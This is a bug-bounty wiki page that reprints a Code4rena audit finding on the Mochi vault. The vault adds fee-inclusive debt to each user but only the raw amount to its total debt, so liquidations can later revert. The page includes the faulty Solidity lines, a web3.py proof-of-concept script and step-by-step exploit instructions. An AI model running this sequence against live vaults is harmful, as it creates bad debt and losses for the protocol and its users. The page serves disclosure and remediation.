Skip to content
Business logic Audit finding Advanced

Vault fails to track debt correctly that leads to bad debt

The vault contract records a borrower's debt including a 0.5 percent fee but adds only the raw borrowed amount to the contract's total debt counter. This makes the contract's debt figure lower than the sum of user debts, so a repayment can drive the counter to zero and later liquidations revert, leaving bad debt.

jonah1005 Follow

Originally disclosed on Code4rena

Submitted by jonah1005, also found by WatchPug

Impact

It’s similar to the issue “misuse amount as increasing debt in the vault contract”. Similar issue in a different place that leads to different exploit patterns and severity.

When users borrow usdm from a vault, the debt increases by the amount * 1.005.

    uint256 increasingDebt = (_amount * 1005) / 1000;

However, when the contract records the total debt it uses _amount instead of increasingDebt.

details[_id].debtIndex =
    (details[_id].debtIndex * (totalDebt)) /
    (details[_id].debt + _amount);
details[_id].debt = totalDebt;
details[_id].status = Status.Active;
debts += _amount;

MochiVault.sol L242-L249

The contract’s debt is inconsistent with the total sum of all users’ debt. The bias increases overtime and would break the vault at the end.

For simplicity, we assume there’s only one user in the vault. Example:

  1. User deposits 1.2 M worth of BTC and borrows 1M USDM.
  2. The user’s debt (details[_id].debt) would be 1.005 M as there’s a .5 percent fee.
  3. The contract’s debt is 1M.
  4. BTC price decrease by 20 percent
  5. The liquidator tries to liquidate the position.
  6. The liquidator repays 1.005 M and the contract tries to sub the debt by 1.005 M
  7. The transaction is reverted as details[_id].debt -= _usdm; would raise exception.

inaccurate accounting would lead to serious issues. I consider this a high-risk issue.

Proof of Concept

This is a web3.py script that a liquidation may fail.

deposit_amount = 10**18
big_deposit = deposit_amount * 100000
minter.functions.mint(user, big_deposit).transact()

dai.functions.approve(vault.address, big_deposit + deposit_amount).transact()

# create two positions
vault.functions.mint(user, zero_address).transact()
vault.functions.mint(user, zero_address).transact()

# # borrow max amount
vault.functions.increase(0, big_deposit, big_deposit, zero_address, '').transact()
vault.functions.increase(1, deposit_amount, deposit_amount, zero_address, '').transact()

vault_debt = vault.functions.debts().call()

# ## This would clear out all debt in vault.
repay_amount = vault_debt + 10**18
usdm.functions.approve(vault.address, repay_amount).transact()

vault.functions.repay(0, repay_amount).transact()

print('debt left:', vault.functions.debts().call())
# ## All the positions would not be liquidated from now on

dai_price = cssr_factory.functions.getPrice(dai.address).call()
cssr_factory.functions.setPrice(dai.address, dai_price[0] // 10).transact()

## this would revert
liquidator.functions.triggerLiquidation(dai.address, 1).transact()

Recommended Mitigation Steps

I believe this is a mistake. Recommend to check the contract to make sure increasingDebt is used consistently.

The original report as published on Code4rena, by jonah1005. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the code adds the raw borrowed amount to the total debt counter instead of the fee-inclusive increasingDebt value used for the user's own debt.

Impact

Because the contract's debt counter can be exhausted while user debts remain, liquidations revert and the vault is left holding bad debt.

What the attacker needed

A vault with borrowing enabled; ability to repay the contract's total debt

The fix

The contract should be changed so the fee-inclusive increasingDebt value is used consistently when updating the total debt counter.

How it was found

  1. Deposit collateral and borrow the maximum amount from the vault.
  2. Note that the user's recorded debt includes the 0.5 percent fee while the contract's total debt does not.
  3. Repay slightly more than the contract's total debt figure to clear the counter.
  4. Drop the collateral price so the position becomes liquidatable.
  5. Attempt liquidation and observe the transaction revert.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A lending vault keeps two numbers: how much each person owes, and how much everyone owes in total. Here the per-person number included a small borrowing fee but the total did not, so the two drifted apart. Once the total was paid off early, the vault could no longer process liquidations, meaning it could not recover money from under-collateralised borrowers.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by jonah1005

View all

39 more disclosed reports, best first.

More from Mochi contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.